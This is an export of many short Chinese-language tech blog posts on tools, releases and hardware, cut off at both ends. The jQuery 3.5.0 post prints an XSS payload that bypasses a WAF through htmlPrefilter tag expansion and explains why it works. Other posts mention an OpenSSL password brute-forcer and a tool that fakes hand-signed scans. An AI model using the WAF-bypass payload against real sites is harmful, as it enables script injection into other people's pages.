    "body": "在 <a href=\"https://en.wikipedia.org/wiki/Bash_(Unix_shell)\">Bash</a> 的迴圈裡面跑 <a href=\"https://ffmpeg.org/\">FFmpeg</a> 有時候會遇到奇怪的靈異現象，發現是這個問題：「<a href=\"https://stackoverflow.com/questions/21634088/execute-ffmpeg-command-in-a-loop\">execute ffmpeg command in a loop</a>」。\r\n\r\n原因是當你用 <code>while</code> + <code>read</code> 產生迴圈時會有對 stdin 的操作行為，而 FFmpeg 預設也會去讀 stdin (WTF)，於是兩邊就打架了。\r\n\r\n解法是用 <code>-nostdin</code> 叫 FFmpeg 不要手賤去讀 stdin，這樣就可以解決這個問題。",
    "title": "在 Bash 的迴圈裡面跑 FFmpeg"
  },
  {
    "id": "9478",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 從 <a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://en.wikipedia.org/wiki/ReCAPTCHA\">reCAPTCHA</a> 改用自家的 <a href=\"https://www.hcaptcha.com/\">hCaptcha</a>：「<a href=\"https://blog.cloudflare.com/moving-from-recaptcha-to-hcaptcha/\">Moving from reCAPTCHA to hCaptcha</a>」。\r\n\r\n看起來其實就是錢的問題，reCAPTCHA 要收費了，而以 Cloudflare 的量會太貴：\r\n\r\n<blockquote>Earlier this year, Google informed us that they were going to begin charging for reCAPTCHA. That is entirely within their right. Cloudflare, given our volume, no doubt imposed significant costs on the reCAPTCHA service, even for Google.</blockquote>\r\n\r\n另外 hCaptcha 有提供免費版本給一般網站用，剛出來這幾天等白老鼠寫心得後，再決定要不要跳進去測試...",
    "title": "Cloudflare 改用自己的 CAPTCHA 服務 hCaptcha"
  },
  {
    "id": "9479",
    "body": "如同標題所說的，<a href=\"https://getbootstrap.com/\">Bootstrap</a> 打算拔掉對 IE 的支援，在 <a href=\"https://github.com/\">GitHub</a> 上的 Pull Request：「<a href=\"https://github.com/twbs/bootstrap/pull/30377\">v5: drop Internet Explorer support</a>」。\r\n\r\n當然下面可以看到有反對意見，不過基本上還是尊重 Bootstrap 團隊做的決定，另外一方面也是現在的選擇多了很多，市場自由競爭總是會看出結果的。\r\n\r\n測了一下先前提到的「<a href=\"https://blog.gslin.org/archives/2020/03/29/9457/mvp-css/\">MVP.css</a>」，本來以為只做 semantic html 的設計，純 css 應該是有機會往下支援到蠻早的版本，結果拿 IE11 一開官網，看起來還是不少東西掛掉了 XD\r\n\r\n看起來還得再找找... 也許繼續龜在 v4？",
    "title": "Bootstrap v5 將會拔掉對 IE 的支援"
  },
  {
    "id": "9480",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的，<a href=\"https://www.debian.org/\">Debian</a> 的 <a href=\"https://wiki.debian.org/\">Wiki</a> 上有一頁整理了很多「比較特別的」軟體或是指令的名稱由來：「<a href=\"https://wiki.debian.org/WhyTheName\">WhyTheName</a>」。\r\n\r\n像是 <a href=\"https://en.wikipedia.org/wiki/Git\">Git</a>：\r\n\r\n<blockquote>git\r\n(distributed VCS) semi-arbitrary short word</blockquote>\r\n\r\n不過這邊不像維基百科會要求「<a href=\"https://zh.wikipedia.org/wiki/Wikipedia:%E5%8F%AF%E4%BE%9B%E6%9F%A5%E8%AD%89\">可供查證</a>」，裡面大多都沒有引用來源，真的要引用前最好還是去其他地方確認過...",
    "title": "在 Unix 環境裡各種奇怪名稱的原因說明"
  },
  {
    "id": "9482",
    "body": "看到「<a href=\"https://gitlab.com/edouardklein/falsisign\">falsisign</a>」這個專案 (FalsiScan: Make it look like a PDF has been hand signed and scanned)，完全符合這個 blog 的副標題「幹壞事是進步最大的原動力」的精神，不介紹一下好像說不過去...：\r\n\r\n<blockquote>For bureaucratic reasons, a colleague of mine had to print, sign, scan and send by email a high number of pages. To save trees, ink, time, and to stick it to the bureaucrats, I wrote this script.</blockquote>\r\n\r\n把「印出來簽名再寄掃描回去」這種事情在電子系統上全自動化：產生出來的 PDF 會把預先嵌好的簽名貼到程式指定的位置上，另外還會稍微把把紙張轉一些角度，並且加上影印時會產生的黑邊...\r\n\r\n有超多這種雜事要處理，但是又閃不掉的人，可以研究一下...",
    "title": "全自動化「印出來，簽名，掃描再寄回去」的事情"
  },
  {
    "id": "9483",
    "body": "因為想要翻一些舊的文章 (小說)，想把以前 BBS 的備份拉出來看看裡面有沒有，結果發現 <a href=\"https://www.openssl.org/\">OpenSSL</a> 解半天都解不開，還跑去玩了 <a href=\"https://github.com/glv2/bruteforce-salted-openssl\">bruteforce-salted-openssl</a> 這個專案：\r\n\r\n<blockquote>Try to find the password of a file that was encrypted with the 'openssl' command.</blockquote>\r\n\r\n後來也是因為這個專案提醒，發現 <code>openssl enc</code> 指令在 OpenSSL 1.0.x (以及之前) 預設是用 <a href=\"https://en.wikipedia.org/wiki/MD5\">MD5</a> 當 digest algorithm，而 1.1.x 換成了 <a href=\"https://en.wikipedia.org/wiki/SHA-256\">SHA-256</a>，而我的備份資料應該是在 0.9.x 的年代就生出來了...\r\n\r\n指定 <code>-md md5</code> 後就正常解出來了：\r\n\r\n<pre>openssl enc -bf -d -md md5 -in ooxx.tar.gz.bf -out ooxx.tar.gz</pre>\r\n\r\n另外一個收穫是 CPU 溫度降了不少：因為跑 bruteforce-salted-openssl 的時候 CPU 到 80 度，感覺撞到安全值卡在 4.0Ghz，所以就把 CPU 電壓降了 0.1V，看起來溫度低了不少 (少了五度)，但跑起來還是 4.0Ghz...",
    "title": "處理很久前用 OpenSSL 加密的備份資料"
  },
  {
    "id": "9484",
    "body": "因為 <a href=\"https://en.wikipedia.org/wiki/COVID-19\">COVID-19</a> 的關係，可以預期網路的流量一定會大幅提昇，但實際上是多少總是需要一些數據才能想像...\r\n\r\n剛剛看到 <a href=\"https://www.fastly.com/\">Fastly</a> 放出了他們觀察到因為 COVID-19 而產生的流量變化：「<a href=\"https://www.fastly.com/blog/how-covid-19-is-affecting-internet-performance\">How COVID-19 is affecting internet performance</a>」。\r\n\r\n從 2020 年二月與三月相比，可以看到許多區域的流量都有大幅成長，尤其是重災區的義大利與英國，不過這邊沒有給與 2019 三月的比較 (YoY)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/p105SbG.webp\" /><img src=\"https://i.gslin.com/imgur/p105SbG.jpg\" alt=\"\" /></picture>\r\n\r\n另外是這些流量成長的種類，可以看到 streaming、數位媒體與教育類的流量大幅成長：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/sDPJqT1.webp\" /><img src=\"https://i.gslin.com/imgur/sDPJqT1.jpg\" alt=\"\" /></picture>\r\n\r\n在網路速度的部份，可以看到大多數的地區是下降的，但加州沒什麼影響，而日本反而是上升的，應該可以解讀為這兩個地區平常就有夠多的容量，所以真的有爆量而用到的時候反而不會是瓶頸？\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DedlSOV.webp\" /><img src=\"https://i.gslin.com/imgur/DedlSOV.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/KEQhsMs.webp\" /><img src=\"https://i.gslin.com/imgur/KEQhsMs.jpg\" alt=\"\" /></picture>\r\n\r\n接下來幾個月應該會更嚴峻...",
    "title": "Fastly 觀察到因 COVID-19 產生的流量上升資料"
  },
  {
    "id": "9485",
    "body": "<a href=\"https://en.wikipedia.org/wiki/John_Carmack\">John Carmack</a> 注意到在 <a href=\"https://www.amd.com/\">AMD</a> Ryzen Threadripper 3990X 上因為 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Windows\">Windows</a> 的 group limit 限制而造成效能問題：\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">AMD 3990 CPU scaling tests: Because of the Windows group limit of 64 CPUs, just firing up a lot of C++ std::threads didn&#39;t work great:<br><br>128 t = 67 s<br>64 t = 63 s<br>32 t = 84 s<br>16 t = 160 s<br>8 t = 312 s<br><br>32 to 64 threads wasn&#39;t a big boost, and 64 to 128 was slower. However! </p>&mdash; John Carmack (@ID_AA_Carmack) <a href=\"https://twitter.com/ID_AA_Carmack/status/1249071470489321472?ref_src=twsrc%5Etfw\">April 11, 2020</a></blockquote>\r\n\r\n但這點可以透過打散到兩個 group 改善 (workaround) 而提昇速度：\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">Setting the group explicitly let it scale all the way up:<br><br>128 t = 38 s<br>64 t = 48 s<br>32 t = 84 s<br>16 t = 160 s<br>8 t = 312 s<br><br>Notably, because each group gets 32 hyperthreaded cores, 64 threads across 2 groups on an unloaded system is much faster because they are all alone on a core <a href=\"https://t.co/Ip4OZsTXah\">pic.twitter.com/Ip4OZsTXah</a></p>&mdash; John Carmack (@ID_AA_Carmack) <a href=\"https://twitter.com/ID_AA_Carmack/status/1249071471219150858?ref_src=twsrc%5Etfw\">April 11, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n然後順便看了一下目前 <a href=\"https://www.cpubenchmark.net/\">CPU Benchmark</a> 網站上對於高階 CPU 的跑分數據「<a href=\"https://www.cpubenchmark.net/high_end_cpus.html\">PassMark - CPU Mark High End CPUs</a>)」，可以看到 AMD 最近真是香噴噴的，用 3950X (16C/32T，105W) 殺 <a href=\"https://www.intel.com/\">Intel</a> 目前最高分的 W-3275M (28C/56T，205W)，然後那個價差：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/7ZTj5ek.webp\" /><img src=\"https://i.gslin.com/imgur/7ZTj5ek.jpg\" alt=\"\" /></picture>\r\n\r\nIntel 的 14nm 牙膏繼續擠...",
    "title": "AMD Ryzen Threadripper 3990X 在 Windows 上的效能"
  },
  {
    "id": "9487",
    "body": "這次 <a href=\"https://jquery.com/\">jQuery</a> 3.5.0 修正了一個安全性漏洞：「<a href=\"https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/\">jQuery 3.5.0 Released!</a>」，不過實測了一下，不完全算是 jQuery 的自己出的問題，比較像是幫使用者擦屁股。\r\n\r\njQuery 的說明如果看不懂，可以交叉參考「<a href=\"https://www.anquanke.com/post/id/198496\">XSS Game</a>」這篇的說明，搜尋 <code>htmlPrefilter</code> 應該就可以看到了。\r\n\r\n這次修正的函數是被 <a href=\"https://api.jquery.com/jQuery.html/\"><code>html()</code></a> 用到的 <a href=\"https://api.jquery.com/jQuery.htmlPrefilter/\"><code>htmlPrefilter()</code></a>，這個函數會在 3.5.0 之前會把 <code>&lt;tag/&gt;</code> 這樣的元素轉成 <code>&lt;tag&gt;&lt;/tag&gt;</code>，而 3.5.0 之後會保留本來的形式。\r\n\r\n利用這個特性，就可以用這樣的字串來打穿 WAF：\r\n\r\n<pre>&lt;style&gt;&lt;style/&gt;&lt;script&gt;alert(1)&lt;\\/script&gt;</pre>\r\n\r\n原因是 WAF 在看到時會以為 <code>&lt;script&gt;</code> 是 <code>&lt;style&gt;</code> 內部的 data 而認為不是 XSS 攻擊而穿過 WAF 的檢查，但實際上被 jQuery 展開後變成：\r\n\r\n<pre>&lt;style&gt;&lt;style&gt;&lt;/style&gt;&lt;script&gt;alert(1)&lt;\\/script&gt;</pre>\r\n\r\n而最前面的 <code>&lt;style&gt;&lt;style&gt;&lt;/style&gt;</code> 被當作是一包，後面的 <code>&lt;script&gt;</code> 就成功被拉出來執行了。\r\n\r\n這是相同程式碼使用 jQuery 3.4.1 與 jQuery 3.5.0 的差異，我把 <code>alert(1)</code> 改成 <code>document.write(1)</code>，比較容易在 <a href=\"https://jsfiddle.net/\">JSFiddle</a> 上看出差異：\r\n\r\n<script async src=\"//jsfiddle.net/xo7n86ek/embed/html,result/\"></script>\r\n\r\n<script async src=\"//jsfiddle.net/4z72v3jp/embed/html,result/\"></script>\r\n\r\n不過回過來分析，會發現一開始用 <code>html()</code> 才是問題的起點，要修正問題應該要從這邊下手，而不是用 WAF 擋...",
    "title": "jQuery 3.5.0 的修正，補 XSS 漏洞"
  },
  {
    "id": "9489",
    "body": "最近武漢肺炎的關係，導致蠻多人會在家裡使用視訊會議，但背景一直是個問題... 然後就看到這篇文章：「<a href=\"https://elder.dev/posts/open-source-virtual-background/\">Open Source Virtual Background</a>」。\r\n\r\n作者用 <a href=\"https://pypi.org/project/opencv-python/\">python-opencv</a> 先處理 webcam 進來的影像 (看起來不只去背，還加上了 hologram 的效果 XDDD)，然後再用 <a href=\"https://pypi.org/project/pyfakewebcam/\">pyfakewebcam</a> 與 <a href=\"https://github.com/umlaeute/v4l2loopback\">v4l2loopback</a> 模擬成一個 webcam 餵回給視訊軟體，結果就惡搞成這樣了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/HtIjJUm.webp\" /><img src=\"https://i.gslin.com/imgur/HtIjJUm.jpg\" alt=\"\" /></picture>\r\n\r\n話說回來，最近各電商平台的 webcam 與視訊機都缺貨，還好之前有買個便宜的頂著，不然就得開筆電了...",
    "title": "用 OpenCV 處理 webcam 的背景，再用 pyfakewebcam 接回給視訊軟體用..."
  },
  {
    "id": "9491",
    "body": "<a href=\"https://github.com/\">GitHub</a> 宣佈了提昇免費版的功能，以及付費版的降價消息：「<a href=\"https://github.blog/2020-04-14-github-is-now-free-for-teams/\">GitHub is now free for teams</a>」。\r\n\r\n昨天是這樣：(從<a href=\"https://web.archive.org/web/20200413004427/https://github.com/pricing\">這邊</a>撈的，然後發現好像有人寫了個機器人，每天都叫 web.archive.org 去撈一份...)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/28pSZhQ.webp\" /><img src=\"https://i.gslin.com/imgur/28pSZhQ.jpg\" alt=\"\" /></picture>\r\n\r\n現在變成：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/k3j9MX4.webp\" /><img src=\"https://i.gslin.com/imgur/k3j9MX4.jpg\" alt=\"\" /></picture>\r\n\r\n本來付費的個人方案 (Pro) 的功能都直接下放到免費版本了，而一般公司用的 Team 版本從 $9/m/user 降到 $4/m/user。有個富爸爸之後就可以任性...",
    "title": "GitHub 擴大免費版功能，以及付費版降價"
  },
  {
    "id": "9492",
    "body": "在 <a href=\"https://telegram.org/\">Telegram</a> 上看到這篇在講在 <a href=\"https://www.amd.com/\">AMD</a> 平台上遇到 USB 相容性的問題：\r\n\r\n<iframe src=\"https://www.facebook.com/plugins/post.php?href=https%3A%2F%2Fwww.facebook.com%2Fjerry.ho.395%2Fposts%2F3365158586846044&width=500\" width=\"500\" height=\"198\" style=\"border:none;overflow:hidden\" scrolling=\"no\" frameborder=\"0\" allowTransparency=\"true\" allow=\"encrypted-media\"></iframe>\r\n\r\n看了敘述與裡面連結提到的「<a href=\"https://android.stackexchange.com/questions/214244/xperia-xa2-stuck-on-sending-boot-img\">Xperia XA2: Stuck on “Sending 'boot.img'”</a>」與「<a href=\"https://android.stackexchange.com/questions/52886/fastboot-is-getting-stuck-while-trying-to-flash-cwm-onto-nexus-4\">Fastboot is getting stuck while trying to flash CWM onto Nexus 4</a>」後，我就馬上想到我在換成 AMD 的平台後，遇到了一個感覺好像應該是有關的問題...\r\n\r\n我遇到的問題是 <a href=\"https://en.wikipedia.org/wiki/YubiKey\">YubiKey</a> 在主機的前面板的四個 USB 接口都不會動 (抓的到，但是 browser 需要認證時 YubiKey 不會閃爍請使用者確認)，而接到 USB 2.0 Hub 上面也不會動 (這邊的 Hub 是接到後面 USB 3.0 的孔)，只有直接接到後面板的 USB 3.0 會動，所以我後來就買了一條 USB 3.0 的延長線，從後面的 USB 3.0 孔拉到桌上用...\r\n\r\n昨天看到文章，為了確認這個情況，就到 <a href=\"https://24h.pchome.com.tw/\">PChome 24h</a> 上找了一顆 USB 3.0 Hub，今天收到後接上 PC 測試，發現 YubiKey 就順利在登入時閃爍了，看起來之後在 AMD 平台上接 USB 的時候要注意一下，有狀況的時候要多測幾種不同的接法...",
    "title": "AMD 平台的前面板與 USB..."
  },
  {
    "id": "9494",
    "body": "前幾天在 <a href=\"https://www.facebook.com/\">Facebook</a> 上看到正妹朋友的貼文，然後在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上也看到了：「<a href=\"https://unixsheikh.com/articles/technical-reasons-to-choose-freebsd-over-linux.html\">Technical reasons to choose FreeBSD over GNU/Linux</a>」。\r\n\r\n標準的戰文 XDDD\r\n\r\n在這篇講的是 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 在技術上的優勢 (雖然我覺得很多不是優勢...)，作者在一月的時候有另外兩篇在講 BSD (不只是 FreeBSD) 與 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a>，主題偏政治面 (包括了社群的運作方式) 與 license 之類的問題，也是戰文：「<a href=\"https://unixsheikh.com/articles/why-you-should-migrate-everything-from-linux-to-bsd.html\">Why you should migrate everything from Linux to BSD</a>」與「<a href=\"https://unixsheikh.com/articles/why-you-should-migrate-everything-from-linux-to-bsd-part-2.html\">Why you should migrate everything from Linux to BSD - part 2</a>」。\r\n\r\n不過畢竟就是戰文，拿爆米花來吃就好，還是用的順手比較重要。當初 FreeBSD 的 issue tracking system 換掉以後，覺得太卡就抽手了，不然還蠻愛 Ports 的架構的...",
    "title": "勸人從 Linux 跳到 FreeBSD 的戰文..."
  },
  {
    "id": "9495",
    "body": "在「<a href=\"https://keleshev.com/my-book-writing-setup/\">Writing a Book with Pandoc, Make, and Vim</a>」這邊看到作者在講他怎麼用 <a href=\"https://pandoc.org/\">Pandoc</a> + <a href=\"https://www.gnu.org/software/make/\">GNU Make</a> + <a href=\"https://www.vim.org/\">Vim</a> 寫書，不過我這邊看到兩個有趣的東西 (標題提到的那兩個)，拉出來寫一下...\r\n\r\n一個是 Vim 的 <code>set virtualedit=all</code>，可以不受限制的移動，等到實際編輯時再產生出對應需要的空白，這對於畫表格會方便不少：\r\n\r\n<video autoplay=\"autoplay\" controls=\"controls\" loop=\"loop\" src=\"https://i.gslin.com/imgur/o21Ll4M.mp4\">\r\n\r\n另外一個是 GNU Make 的用法，平常我們都是在 <code>.PHONY</code> 裡指定實際上不會存在的 target：\r\n\r\n<pre>.PHONY: clean\r\nclean:\r\n        rm -rf ./output</pre>\r\n\r\n這邊作者提供的方式是產生一個叫做 <code>phony</code> 的 target，然後就不需要在 <code>.PHONY</code> 裡條列，而是各自在自己的 target 裡面引用 <code>phony</code>：\r\n\r\n<pre>.PHONY: phony\r\nclean: phony\r\n        rm -rf ./output</pre>\r\n\r\n不過作者有提到效能問題：\r\n\r\n<blockquote>Note that this trick can slow down huge Makefiles.</blockquote>\r\n\r\n另外作者又提醒我 <a href=\"https://draw.io/\">draw.io</a> 這個好用的工具，之前用過幾次後就忘記了...",
    "title": "Vim 的 virtualedit 與 GNU Make 內的 .PHONY"
  },
  {
    "id": "9497",
    "body": "這個連結在瀏覽器的 tab 上好幾天了，要寫這篇的時候試著找了一下當時是從哪個管道看到的來源，翻了一下看起來沒有在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上面列出，但在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上面有找到討論串，不過最近沒有去從那邊翻連結...\r\n\r\nAnyway，<a href=\"https://zipcall.io/\">Zipcall</a> 是使用 <a href=\"https://en.wikipedia.org/wiki/WebRTC\">WebRTC</a> 實做出來的會議系統，會議相關的流量會直接透過點對點的架構傳輸，不需要透過 server 交換。\r\n\r\n由於架構上沒有 server 幫忙重新壓縮再轉給不同的使用者，也就 client 得自己處理，對硬體要求應該會比較高，另外對頻寬的要求也比較大。\r\n\r\n另外他提到 latency 比較低這件事情，剛剛用兩隻 webcam 測試，一個掛到 vm guest 裡面，另外一個掛在 vm host 上面，測試下來很明顯可以感覺比起之前用 <a href=\"https://zoom.us/\">Zoom</a> 高，可能要再研究到底是什麼原因，不確定跟 vm 有沒有關係，不過還在可以接受的範圍。\r\n\r\n安全性與隱私性的實做方式也還得再看看是怎麼弄的，不過目前看起來應該可以先拿來玩玩...",
    "title": "玩一下 Zipcall，走 WebRTC 與 P2P 架構的會議系統"
  },
  {
    "id": "9498",
    "body": "我用 <a href=\"https://www.packer.io/\">Packer</a> 包了一個將 <a href=\"https://github.com/featurecat/lizzie\">Lizzie</a> (界面) + <a href=\"https://github.com/lightvector/KataGo\">KataGo</a> (引擎) 打包成 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> AMI 的設定：「<a href=\"https://github.com/gslin/packer-katago\">packer-katago</a>」。\r\n\r\n這個組合應該是目前圍棋棋手最常拿來分析棋譜的工具，與之前常用的 Lizzie + <a href=\"https://github.com/leela-zero/leela-zero\">Leela Zero</a> 的差異在於 KataGo 可以分析勝率與目數，而 Leela Zero 則只能分析勝率。(參考之前寫的「<a href=\"https://blog.gslin.org/archives/2019/10/07/9238/%E7%94%A8%E6%9B%B4%E5%B0%91%E8%A8%93%E7%B7%B4%E6%99%82%E9%96%93%E7%9A%84-katago/\">用更少訓練時間的 KataGo</a>」這篇)\r\n\r\n早期的 KataGo 強度還沒有很強，一般還是會與 Leela Zero 交叉換著分析，但最近幾個版本的強度比之前好很多，目前看起來已經超過 Leela Zero 了 (可以參考 <a href=\"http://www.yss-aya.com/cgos/19x19/bayes.html\">CGOS Whole Period Ratings for 19x19 Board</a> 這邊列出來的排名)，另外就 <a href=\"https://www.youtube.com/\">YouTube</a> 上看起來，蠻多棋手應該都是改用 KataGo 了...\r\n\r\n不過不管是 Leela Zero 還是 KataGo 都需要夠強的 GPU 運算，之前就算用 GTX 1080 Ti 也還是覺得不夠快，就丟到 <a href=\"https://aws.amazon.com/\">AWS</a> 上面用看看，順便練一下手，熟悉 Packer 怎麼用。\r\n\r\n我是設計成用 <a href=\"https://ice-wm.org/\">IceWM</a> + VNC，連進去後左下的選單裡面就會有 Lizzie 可以選：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/btxVlWt.webp\" /><img src=\"https://i.gslin.com/imgur/btxVlWt.jpg\" alt=\"\" /></picture>\r\n\r\n第一次跑起來會比較久，我在 <code>p3.2xlarge</code> 的機器上大約要等個三四分鐘，然後就會出現數字了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gG2Z7ng.webp\" /><img src=\"https://i.gslin.com/imgur/gG2Z7ng.jpg\" alt=\"\" /></picture>\r\n\r\n看了一下運算的速度還不錯，用 spot instance 開的話，成本上應該還可以接受 (剛剛的 <code>p3.2xlarge</code> 是 USD$0.918/hr)。",
    "title": "在 EC2 上面跑 Lizzie + KataGo"
  },
  {
    "id": "9499",
    "body": "本來 <a href=\"https://www.python.org/\">Python</a> 2 官方的計畫是支援到 2020/01/01，但最後一個版本 Python 2.7.18 一直到剛剛 2020/04/20 才出。對照前一個版本 2.7.17，是 2019/10/19 的時候出的，這應該算是一個「經典」的落幕：「<a href=\"https://pythoninsider.blogspot.com/2020/04/python-2718-last-release-of-python-2.html\">Python 2.7.18, the last release of Python 2</a>」。\r\n\r\n對於得用 Python 2 才能跑的專案 (目前手上應該就是 <a href=\"https://trac.edgewall.org/\">Trac</a>)，如果 Python 3 的版本再不出，再過個一年應該只能用 <a href=\"https://github.com/pyenv/pyenv\">pyenv</a> 撐場了...",
    "title": "Python 2.7.18，官方提供的最後一個 2.7 的版本"
  },
  {
    "id": "9500",
    "body": "代號 Focal Fossa (<code>focal</code>) 的 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 20.04 推出了，在官網上可以下載，另外也可以翻「<a href=\"https://wiki.ubuntu.com/FocalFossa/ReleaseNotes\">FocalFossa/ReleaseNotes</a>」這邊看看有什麼新功能。\r\n\r\nReleaseNotes 翻了一輪後看起來還好，主要是看到新版的 <a href=\"https://www.openssh.com/\">OpenSSH</a> 支援了 <a href=\"https://en.wikipedia.org/wiki/Universal_2nd_Factor\">U2F</a>，可以找機會玩玩看，然後 ZFS 那邊有一些新玩具可以玩，其他的倒是還好...\r\n\r\n另外裡面也有提到各家雲端平台都上架了，找一下對應的 image 應該是可以測試看看...",
    "title": "Ubuntu 20.04 推出"
  },
  {
    "id": "9502",
    "body": "先從一張圖片算出大約 20～30 bytes 的字串，就可以在 API response 時快速產生出一個很模糊但是有有代表性的縮圖 (或是在 HTML 裡面放，用 javascript 產生)：「<a href=\"https://github.com/woltapp/blurhash\">BlurHash</a>」。\r\n\r\n從官方給的範例比較快理解：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6BmkVSz.webp\" /><img src=\"https://i.gslin.com/imgur/6BmkVSz.jpg\" alt=\"\" /></picture>\r\n\r\n以及：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tZOYQEY.webp\" /><img src=\"https://i.gslin.com/imgur/tZOYQEY.jpg\" alt=\"\" /></picture>\r\n\r\n另外也提供了展現在 app 上的效果：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FmpZ2y0.webp\" /><img src=\"https://i.gslin.com/imgur/FmpZ2y0.jpg\" alt=\"\" /></picture>\r\n\r\n有支援一些程式語言，不過看起來行動平台上的支援都是比較新的語言 (<a href=\"https://en.wikipedia.org/wiki/Swift_(programming_language)\">Swift</a> &amp; <a href=\"https://en.wikipedia.org/wiki/Kotlin_(programming_language)\">Kotlin</a>)，如果不是用這些語言而想用 BlurHash 的話就得自己整了...\r\n\r\n另外在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上有翻到先前的討論：「<a href=\"https://news.ycombinator.com/item?id=22374825\">BlurHash: Algorithm to generate compact representation of an image placeholder</a>」，開頭就看到其他軟體的作法：\r\n\r\n<blockquote>For comparison, Instagram sends ~200 byte base64 thumbnails in its API responses. It's a low-res JPEG with a fixed header to save a bit more space. This is also used to blur sensitive images. You can get even better results with webp.</blockquote>\r\n\r\n這個方法就避開另外再弄一包 library 進去，用現成的 library 就會動了...",
    "title": "產生模糊縮圖的 BlurHash"
  },
  {
    "id": "9505",
    "body": "<a href=\"https://tfc-taiwan.org.tw/\">事實查核中心</a>的澄清內容其實很有趣，可以看到有哪些假消息在流傳，所以想找找看有沒有比較簡單的方法可以設通知...\r\n\r\n事實查核中心的官網用的是 <a href=\"https://neticrm.tw/\">netiCRM</a> 這個平台 (看起來底層是 <a href=\"https://en.wikipedia.org/wiki/Drupal\">Drupal</a>)，而在 HTML 頁面的開頭可以看到 RSS 1.0 的 <code>xmlns</code> 宣告：\r\n\r\n<pre>  xmlns:content=\"http://purl.org/rss/1.0/modules/content/\"</pre>\r\n\r\n本來想說直接用 feed 接到 <a href=\"https://ifttt.com/\">IFTTT</a> 就好了，不過 HTML 頁面上沒有放 feed entry 讓閱讀器可以直接找到 feed 本身，也就是像這樣的標籤資訊：\r\n\r\n<pre>&lt;link rel=\"alternate\" type=\"application/rss+xml\" title=\"Gea-Suan Lin&amp;#039;s BLOG &amp;raquo; Feed\" href=\"https://blog.gslin.org/feed/\" /&gt;\r\n&lt;link rel=\"alternate\" type=\"application/rss+xml\" title=\"Gea-Suan Lin&amp;#039;s BLOG &amp;raquo; Comments Feed\" href=\"https://blog.gslin.org/comments/feed/\" /&gt;</pre>\r\n\r\n找了一下 Drupal 的設定慣例，發現 feed 可能會放在 <code>/rss.xml</code> 這個位置，測了一下發現順利在 <a href=\"https://tfc-taiwan.org.tw/rss.xml\">https://tfc-taiwan.org.tw/rss.xml</a> 這邊看到 feed，接下來就可以加進 IFTTT 了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/k7U8TIf.webp\" /><img src=\"https://i.gslin.com/imgur/k7U8TIf.jpg\" alt=\"\" /></picture>\r\n\r\n給有興趣想要用 feed 做些事情的人參考看看，像是加到 <a href=\"https://line.me/\">Line</a> 或是 <a href=\"https://telegram.org/\">Telegram</a> 的群組裡面，或是放到 <a href=\"https://slack.com/\">Slack</a> channel 裡面 (Slack 裡應該可以直接在某個 channel 裡用 <code>/feed add https://tfc-taiwan.org.tw/rss.xml</code> 把這個 feed 加進去)。",
    "title": "用事實查核中心的 RSS feed 加上 IFTTT 自動通知到 Line/Telegram/... 內"
  },
  {
    "id": "9506",
    "body": "在「<a href=\"https://simonwillison.net/2020/Apr/22/98css/\">98.css</a>」這邊看到的，專案的網頁在「<a href=\"https://jdan.github.io/98.css/\">98.css</a>」這邊。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oXHQcZo.webp\" /><img src=\"https://i.gslin.com/imgur/oXHQcZo.jpg\" alt=\"\" /></picture>\r\n\r\n不知道真的用下去會怎樣... XD",
    "title": "模擬 Windows 98 風格的 CSS"
  },
  {
    "id": "9508",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到的通知，這個提案將 <a href=\"https://www.php.net/\">PHP</a> 的 <a href=\"https://www.php.net/manual/en/book.json.php\">JSON</a> 列為語言的必須項目，目前的狀態是 <code>Under Discussion</code>：「<a href=\"https://wiki.php.net/rfc/always_enable_json\">PHP RFC: Always available JSON extension</a>」。\r\n\r\n以前沒有引入的一個原因是因為底層使用的 library 的授權 <a href=\"https://www.json.org/license.html\">JSON license</a> 不是 <a href=\"https://en.wikipedia.org/wiki/Open-source_license\">open-source license</a>，這對於要打包出 binary 散佈時的問題很大 (跟其他 license 衝突)：\r\n\r\n<blockquote>The Software shall be used for Good, not Evil.</blockquote>\r\n\r\n在 PHP 7 之後，JSON 的實做決定改用 <a href=\"https://github.com/bukka/php-jsond\">jsond</a> (參考「<a href=\"https://wiki.php.net/rfc/jsond\">PHP RFC: Replacing current json extension with jsond</a>」)，這邊用的是 <a href=\"https://en.wikipedia.org/wiki/PHP_License\">PHP 